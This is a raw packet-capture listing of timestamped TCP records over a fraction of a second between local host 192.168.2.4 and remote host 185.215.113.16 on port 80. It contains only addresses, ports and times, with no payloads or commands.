Dec 23, 2024 08:07:56.861181021 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.861224890 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.862095118 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.862288952 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.862341881 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.863118887 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.863193035 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.863244057 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.864124060 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.864197969 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.864303112 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.865094900 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.865201950 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.865293980 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.866090059 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.866216898 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.866291046 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.867096901 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.867218018 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.867266893 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.868118048 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.868230104 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.868289948 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.869101048 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.869209051 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.869249105 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.870254993 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.870269060 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.870306015 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.871186018 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.871244907 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.871299028 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.872117043 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.872181892 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.872226000 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.873126030 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.873337984 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.873394012 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.874263048 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.874339104 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.874382019 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.875132084 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.875247002 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.875294924 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.876143932 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.876265049 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.876414061 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.877238989 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.877300024 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.877358913 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.878165007 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.878266096 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.878315926 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.879164934 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.879304886 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.879343033 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.880161047 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.880279064 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.880338907 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.881165981 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.881294966 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.881345987 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.882136106 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.882247925 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.882359982 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.883208990 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.883236885 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.883296013 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.884169102 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.884280920 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.884322882 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.885166883 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.885288954 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.885339022 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.886199951 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.886298895 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.886359930 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.887183905 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.887270927 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.887327909 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.888181925 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.888295889 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.888339043 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.889170885 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.889312983 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.889350891 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.890170097 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.890260935 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.890427113 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.891185999 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.891300917 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.891355991 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.892187119 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.892311096 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.892369032 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.893189907 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.893306971 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.893351078 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.894196987 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.894309044 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.894373894 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.895221949 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.895350933 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.895482063 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.896195889 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.896301031 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.896375895 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.897236109 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.897336006 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.897438049 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.898216963 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.898318052 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.898360968 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.899245977 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.899338961 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.899415970 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.900065899 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.900219917 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.900346041 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.900474072 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.901230097 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.901371956 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.901427984 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:56.902213097 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:56.911236048 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.042893887 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.042973995 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.043306112 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.043355942 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.043436050 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.043734074 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.044320107 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.044437885 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.044480085 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.045296907 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.045411110 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.045456886 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.046298981 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.046423912 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.046602011 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.047341108 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.047426939 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.048199892 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.048306942 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.048394918 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.048435926 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.049319983 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.049408913 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.049525976 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.050364017 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.050520897 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.050560951 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.051362038 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.051477909 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.051518917 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.052405119 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.052532911 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.052575111 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.053463936 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.053579092 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.053620100 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.054414034 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.054533005 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.054595947 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.055469036 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.055586100 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.055629969 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.056420088 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.056539059 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.056613922 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.057367086 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.057564020 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.057604074 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.058410883 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.058507919 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.058547020 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.059365034 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.059514999 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.059568882 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.060435057 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.060448885 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.060990095 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.061423063 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.061525106 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.061568975 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.062400103 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.062608957 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.062650919 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.063393116 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.063486099 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.063781023 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.064388037 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.064496040 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.064652920 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.065397978 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.065548897 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.065619946 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.066488981 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.066591978 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.066646099 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.067399025 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.067549944 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.067603111 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.068408966 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.068494081 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.068569899 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.069387913 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.069499969 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.069540024 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.070400000 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.070518017 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.070717096 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.071455002 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.071537018 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.071978092 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.072418928 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.072510958 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.072582006 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.073426962 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.073518038 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.073565006 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.074412107 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.074512959 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.074559927 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.075421095 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.075525045 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.076026917 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.076564074 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.076633930 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.076679945 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.077462912 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.077569008 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.077663898 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.078438997 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.078547955 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.078603983 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.079463959 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.079524994 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.079593897 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.080459118 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.080552101 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.080612898 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.081542969 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.081557035 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.081613064 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.082473993 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.082525969 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.082600117 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.082638979 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.083456993 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.083559990 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.083612919 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.084486961 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.084583998 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.084633112 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.085501909 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.085562944 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.085623026 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.086437941 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.086568117 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.086621046 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.087457895 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.087580919 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.088196039 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.088474989 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.088579893 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.088640928 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.089468956 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.089582920 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.089622974 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.090441942 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.090580940 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.090624094 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.091542959 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.091624022 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.091670036 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.092472076 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.092618942 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.092673063 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.093489885 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.093561888 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.093605042 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.094500065 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.094593048 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.094671965 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.095422029 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.095680952 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.109101057 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.234832048 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.234963894 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.235008955 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.235254049 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.235493898 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.235538960 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.235610962 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.236509085 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.236557007 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.236572981 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.237449884 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.237495899 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.237586975 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.238478899 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.238527060 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.238565922 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.239487886 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.239536047 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.239562035 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.240497112 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.240546942 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.240555048 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.241492033 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.241585970 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.241626978 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.242487907 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.242546082 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.242587090 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.243623018 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.243638039 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.243679047 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.244529009 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.244586945 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.244616032 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.245528936 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.245594025 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.245640039 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.246515989 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.246601105 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.246613979 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.247530937 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.247580051 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.247628927 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.248522043 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.248570919 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.248617887 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.249527931 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.249587059 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.249614000 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.250539064 CET	80	49744	185.215.113.16	192.168.2.4
Dec 23, 2024 08:07:57.250629902 CET	49744	80	192.168.2.4	185.215.113.16
Dec 23, 2024 08:07:57.250648022 CET	80	49744	185.215.113.16	192.168.2.4
